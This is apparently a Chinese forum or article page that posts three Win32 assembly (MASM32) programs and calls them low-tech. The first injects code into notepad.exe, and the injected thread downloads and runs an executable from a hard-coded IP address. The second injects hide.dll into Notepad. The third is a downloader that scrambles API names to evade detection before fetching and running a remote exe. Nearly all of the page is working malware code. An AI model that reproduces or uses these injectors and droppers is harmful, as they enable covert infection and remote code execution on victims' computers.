注册
登录
| 关键词： nbsp addr invoke DWORD eax 32 masm byte hProcess include |
WIN32汇编编写 无非就是OpenProcess,WriteProcessMemory，CreateRemoteThread 几个函数。没多少技术含量CODE: .386.model flat, stdcalloption casemap:noneinclude \masm32\include\windows.incinclude \masm32\include\kernel32.incinclude \masm32\include\user32.incinclude \masm32\include\masm32.inc includelib \masm32\lib\kernel32.libincludelib \masm32\lib\user32.libincludelib \masm32\lib\masm32.lib include \masm32\include\urlmon.incincludelib \masm32\lib\urlmon.lib Finds protoinjected_thread proto .data url db '[url]http://219.134.128.56/cgi-bin/dl/026EFDCFD1766DEE5EDC952F14E39834828/Anskya.exe[/url]',0exe db 'C:\tests.exe',0szUrlmon byte 'urlmon.dll', 0 Files db "notepad.exe",0 ;此乃需要插入的进程 .data?hFiles dd ?proces PROCESSENTRY32 <>hProcess dd ?lpPID dd ?lpModule dd ?lpNewModule dd ?lpProcess dd ?dwSize dd ?nBytesWritten dd ? hThread dd ? .code Finds procLOCAL fSnapshot:dwordLOCAL hContinue:DWORD invoke lstrlen,addr Files mov hFiles,eax invoke CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,0 mov fSnapshot,eax lea esi,offset proces assume esi:ptr PROCESSENTRY32 mov [esi].dwSize,sizeof PROCESSENTRY32 invoke Process32First,fSnapshot,addr procesScan: invoke Process32Next ,fSnapshot,addr proces cmp eax,0 jz Endo lea esi,offset proces assume esi:ptr PROCESSENTRY32 lea eax, [esi].szExeFile lea ebx, [esi].th32ProcessID mov hProcess,ebx push eax invoke lstrlen,eax sub eax,hFiles pop ebx add ebx,eax invoke CharUpper,ebx mov ecx,offset Files invoke CharUpper,ecx invoke lstrcmp,ebx,eax cmp eax,0 jz Over jmp ScanEndo: mov hProcess,0Over: invoke CloseHandle,fSnapshot retFinds endp Start: invoke GetModuleHandle,0 mov [lpModule], eax mov edi,eax assume edi:ptr IMAGE_DOS_HEADER add edi, [edi].e_lfanew add edi, sizeof dword add edi, sizeof IMAGE_FILE_HEADER assume edi:ptr IMAGE_OPTIONAL_HEADER32 mov eax, [edi].SizeOfImage mov dwSize, eax assume edi:NOTHING@@scan: invoke Finds cmp hProcess,0 jnz @@next invoke Sleep,1000 jmp @@scan@@next: LEA eax,DWORD PTR [hProcess] mov ebx,[eax] invoke OpenProcess,PROCESS_ALL_ACCESS, FALSE,[ebx] mov [lpProcess],eax invoke VirtualFreeEx, [lpProcess], [lpModule], 0, MEM_RELEASE invoke VirtualAllocEx, [lpProcess], [lpModule], [dwSize], MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE mov lpNewModule, eax invoke WriteProcessMemory, [lpProcess], eax, [lpModule], [dwSize], addr nBytesWritten invoke CreateRemoteThread, [lpProcess], 0, 0, addr injected_thread, [lpModule], 0, ebx mov hThread, eax invoke WaitForSingleObject, hThread, INFINITE invoke CloseHandle, hThread invoke CloseHandle, lpProcessTheEnd: invoke ExitProcess,NULL injected_thread proc invoke LoadLibrary, addr szUrlmon invoke URLDownloadToFile,0,offset url,offset exe,0,0 invoke WinExec, offset exe, SW_SHOW invoke ExitThread,0 ret injected_thread endp end Start +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ T4nk ;DLL Injection with RT by Aphex;http://www.iamaphex.cjb.net;[email protected] .386.model flat, stdcalloption casemap:noneinclude \masm32\include\windows.incinclude \masm32\include\kernel32.incinclude \masm32\include\user32.incincludelib \masm32\lib\kernel32.libincludelib \masm32\lib\user32.libincludelib SRT.lib xVirtualAllocEx PROTO :DWORD, :DWORD, :DWORD, :DWORD, :DWORDxCreateRemoteThread PROTO :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD .dataszKernel32 byte 'kernel32.dll', 0szLoadLibrary byte 'LoadLibrary', 0szTarget byte 'Notepad', 0szDll byte 'hide.dll', 0 .data?hModule dword ?hProcess dword ?dwSize dword ?dwPid dword ?dwBytesWritten dword ?dwTid dword ? .code_entrypoint:invoke FindWindow, addr szTarget, 0invoke GetWindowThreadProcessId, eax, addr dwPidinvoke OpenProcess, PROCESS_ALL_ACCESS, FALSE, dwPidmov hProcess, eaxinvoke xVirtualAllocEx, hProcess, 0, sizeof szDll, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE mov hModule, eaxinvoke WriteProcessMemory, hProcess, hModule, addr szDll, sizeof szDll, addr dwBytesWritteninvoke GetModuleHandle, addr szKernel32invoke GetProcAddress, eax, addr szLoadLibraryinvoke xCreateRemoteThread, hProcess, 0, 0, eax, hModule, 0, addr dwTidinvoke ExitProcess, 0end _entrypoint++++++++++++++++++++++++++++++++++++++++++++++++++++T4nk ;Tiny Webdownloader by Aphex;Hides use of URLDownloadToFileA to foil TDS :P;http://iamaphex.cjb.net;[email protected] .386.model flat, stdcallinclude \masm32\include\kernel32.incincludelib \masm32\lib\kernel32.lib .dataUrl byte 'http://your.isp.goes.here/file.exe', 0Exe byte '~.exe', 0Scramble1 byte 'dll', 0Scramble2 byte '.', 0Scramble3 byte 'mon', 0Scramble4 byte 'url', 0Scramble5 byte 'A', 0Scramble6 byte 'File', 0Scramble7 byte 'To', 0Scramble8 byte 'Download', 0Scramble9 byte 'URL', 0 .data?UrlMonDll byte 11 dup (?)UrlDownload byte 19 dup (?)UrlMon dword ?UrlDownloadToFile dword ? .code_main:;unscrambles urlmon.dllinvoke lstrcpyn, addr UrlMonDll, addr Scramble4, 4invoke lstrcat, addr UrlMonDll, addr Scramble3invoke lstrcat, addr UrlMonDll, addr Scramble2invoke lstrcat, addr UrlMonDll, addr Scramble1 ;unscrambles URLDownloadToFileAinvoke lstrcpyn, addr UrlDownload, addr Scramble9, 4invoke lstrcat, addr UrlDownload, addr Scramble8invoke lstrcat, addr UrlDownload, addr Scramble7invoke lstrcat, addr UrlDownload, addr Scramble6invoke lstrcat, addr UrlDownload, addr Scramble5 ;loads urlmon.dllinvoke LoadLibrary, addr UrlMonDllmov UrlMon, eax ;links URLDownloadToFileA dynamicallyinvoke GetProcAddress, UrlMon, addr UrlDownloadmov UrlDownloadToFile, eax ;delete previous versioninvoke DeleteFile, addr Exe ;downloads the exepush 0push 0push offset Exepush offset Urlpush 0call UrlDownloadToFile ;runs the exeinvoke WinExec, addr Exe, 0 ;exitsinvoke ExitProcess, 0 end _main |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
